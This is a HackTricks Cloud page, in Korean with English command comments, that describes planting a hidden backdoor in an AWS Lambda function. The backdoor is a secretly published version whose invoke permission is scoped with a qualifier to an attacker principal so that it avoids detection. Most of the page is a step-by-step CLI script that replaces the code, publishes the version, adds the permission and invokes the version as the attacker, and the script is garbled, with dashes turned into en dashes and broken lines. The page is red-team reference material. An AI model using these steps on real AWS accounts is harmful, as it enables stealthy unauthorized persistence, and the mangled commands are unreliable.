HackTricks CloudAWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
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요약
공격자 로직을 포함한 숨겨진 Lambda 버전을 생성하고, lambda add-permission의 --qualifier 파라미터를 사용해 리소스 기반 정책을 해당 특정 버전(또는 alias)에만 적용합니다. 공격자 principal에게는 arn:aws:lambda:REGION:ACCT:function:FN:VERSION에 대한 lambda:InvokeFunction만 부여합니다. 함수 이름이나 기본 alias를 통한 일반 호출은 영향을 받지 않으며, 공격자는 백도어된 버전 ARN을 직접 호출할 수 있습니다.
이는 Function URL을 노출하는 것보다 더 은밀하며 기본 트래픽 alias를 변경하지 않습니다.
필요한 권한 (공격자)
lambda:UpdateFunctionCode,lambda:UpdateFunctionConfiguration,lambda:PublishVersion,lambda:GetFunctionConfigurationlambda:AddPermission(to add version-scoped resource policy)iam:CreateRole,iam:PutRolePolicy,iam:GetRole,sts:AssumeRole(to simulate an attacker principal)
공격 단계 (CLI)
숨겨진 버전 게시, `--qualifier` 범위 권한 추가, 공격자로서 호출
```bash # Vars REGION=us-east-1 TARGET_FN=[Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., “main”) stays on a clean version
aws lambda create-alias –function-name “$TARGET_FN” –name main –function-version –region “$REGION”
1) Build a small backdoor handler and publish as a new version
cat > bdoor.py <<PY import json, os, boto3
def lambda_handler(e, c): ident = boto3.client(sts).get_caller_identity() return {“ht”: True, “who”: ident, “env”: {“fn”: os.getenv(AWS_LAMBDA_FUNCTION_NAME)}} PY zip bdoor.zip bdoor.py aws lambda update-function-code –function-name “$TARGET_FN” –zip-file fileb://bdoor.zip –region $REGION aws lambda update-function-configuration –function-name “$TARGET_FN” –handler bdoor.lambda_handler –region $REGION until [ “$(aws lambda get-function-configuration –function-name “$TARGET_FN” –region $REGION –query LastUpdateStatus –output text)“ = “Successful” ]; do sleep 2; done VER=$(aws lambda publish-version –function-name “$TARGET_FN” –region $REGION –query Version –output text) VER_ARN=$(aws lambda get-function –function-name “$TARGET_FN:$VER” –region $REGION –query Configuration.FunctionArn –output text) echo “Published version: $VER ($VER_ARN)”
2) Create an attacker principal and allow only version invocation (same-account simulation)
ATTACK_ROLE_NAME=ht-version-invoker aws iam create-role –role-name $ATTACK_ROLE_NAME –assume-role-policy-document Version:2012-10-17 >/dev/null cat > /tmp/invoke-policy.json <<POL { “Version”: “2012-10-17”, “Statement”: [{ “Effect”: “Allow”, “Action”: [“lambda:InvokeFunction”], “Resource”: [“$VER_ARN”] }] } POL aws iam put-role-policy –role-name $ATTACK_ROLE_NAME –policy-name ht-invoke-version –policy-document file:///tmp/invoke-policy.json
Add resource-based policy scoped to the version (Qualifier)
aws lambda add-permission
–function-name “$TARGET_FN”
–qualifier “$VER”
–statement-id ht-version-backdoor
–action lambda:InvokeFunction
–principal arn:aws:iam::$(aws sts get-caller-identity –query Account –output text):role/$ATTACK_ROLE_NAME
–region $REGION
3) Assume the attacker role and invoke only the qualified version
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity –query Account –output text):role/$ATTACK_ROLE_NAME CREDS=$(aws sts assume-role –role-arn “$ATTACK_ROLE_ARN” –role-session-name htInvoke –query Credentials –output json) export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId) export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey) export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken) aws lambda invoke –function-name “$VER_ARN” /tmp/ver-out.json –region $REGION >/dev/null cat /tmp/ver-out.json
4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
aws lambda remove-permission –function-name “$TARGET_FN” –statement-id ht-version-backdoor –qualifier “$VER” –region $REGION || true
</details>
## 영향
- primary alias를 수정하거나 Function URL을 노출하지 않고 함수의 숨겨진 버전을 호출할 수 있는 은밀한 backdoor를 제공합니다.
- resource-based policy `Qualifier`를 통해 노출을 지정된 version/alias로만 제한하여 detection surface를 줄이면서 attacker principal에 대한 신뢰할 수 있는 호출을 유지합니다.
> [!TIP]
> AWS 해킹 배우기 및 연습하기:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP 해킹 배우기 및 연습하기: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure 해킹 배우기 및 연습하기: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
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